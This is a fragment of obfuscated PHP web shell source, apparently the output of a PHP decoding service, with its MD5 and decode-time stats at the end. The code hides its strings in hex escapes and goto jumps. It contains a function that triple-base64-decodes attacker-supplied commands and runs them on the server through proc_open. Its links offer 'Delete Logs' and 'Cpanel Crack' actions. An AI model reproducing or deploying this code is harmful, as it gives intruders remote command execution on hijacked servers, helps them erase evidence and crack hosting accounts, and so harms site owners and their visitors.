"\x26\144\x65\x6c\145\164\145\x5f\x6c\x6f\x67\x73\x3d\x68\145\x61\x64\163\150\157\x6f\x74\x22\76\x3c\151\40\143\154\x61\163\x73\x3d\x22\146\x61\163\40\x66\141\55\x74\x72\141\x73\150\x22\76\x3c\x2f\x69\x3e\x3c\x2f\x69\76\46\156\142\163\160\73\x44\x65\x6c\x65\164\145\40\114\x6f\147\x73\x3c\x2f\141\x3e"; goto y2_cD; fHa7N: function ekse($komend, $lokasi) { if (!function_exists("\x70\x72\x6f\143\137\x6f\x70\x65\x6e")) { die("\x70\162\157\x63\137\x6f\160\145\156\x20\x66\x75\156\x63\x74\x69\x6f\156\40\144\151\163\141\142\154\145\144\40\x21"); } elseif (!function_exists("\x62\141\163\x65\x36\x34\137\144\x65\143\157\144\x65")) { die("\x62\x61\x73\145\66\x34\137\144\145\x63\x6f\144\145\40\x66\165\156\x63\164\x69\x6f\156\x20\x64\151\x73\141\x62\x6c\x65\144\x20\x21"); } $komen = base64_decode(base64_decode(base64_decode($komend))); if (strpos($komend, "\x32\x3e\x26\61") === false) { $komen = base64_decode(base64_decode(base64_decode($komend))) . "\40\x32\76\46\61"; } $tod = @proc_open($komen, array(0 => array("\160\151\160\145", "\162"), 1 => array("\160\151\160\x65", "\167"), 2 => array("\160\x69\x70\x65", "\x72")), $pipes, $lokasi); echo "\x3c\x74\145\x78\x74\141\x72\145\141\40\162\157\167\x73\x3d\47\62\x35\x27\40\x63\157\x6c\163\x3d\x27\61\60\60\47\x3e" . htmlspecialchars(stream_get_contents($pipes[1])) . "\x3c\x2f\164\x65\170\164\x61\x72\x65\x61\x3e\74\142\162\x3e\x3c\142\162\76"; } goto E8VnX; SqmYD: echo "\x3c\x61\x20\x63\154\x61\163\x73\x3d\x22\144\x65\x73\x74\162\x6f\171\137\x74\141\x62\154\x65\42\40\150\162\145\146\75\42\x3f\160\141\x74\150\x3d" . $lokasi . "\x26\x63\x70\143\162\141\x63\153\75\150\x65\x61\144\x73\x68\x6f\157\164\x22\x3e\x3c\151\x20\143\x6c\x61\x73\x73\75\42\x66\x61\163\40\146\x61\x2d\153\145\x79\x22\76\x3c\x2f\x69\76\x26\x6e\142\163\x70\x3b\x43\160\x61\156\x65\154\40\103\162\x61\143\153\x3c\x2f\141\x3e"; goto dHFJs; RYW2E: $idr = "\151" . "\x73\137\x64" . "\x69\162"; goto DvHE_; hPJ3K: session_start(); goto yuM3I; ScuEY: Function Calls
| None |
Stats
| MD5 | 8e34fc6e7ff1628447664be6f6d9c86d |
| Eval Count | 0 |
| Decode Time | 193 ms |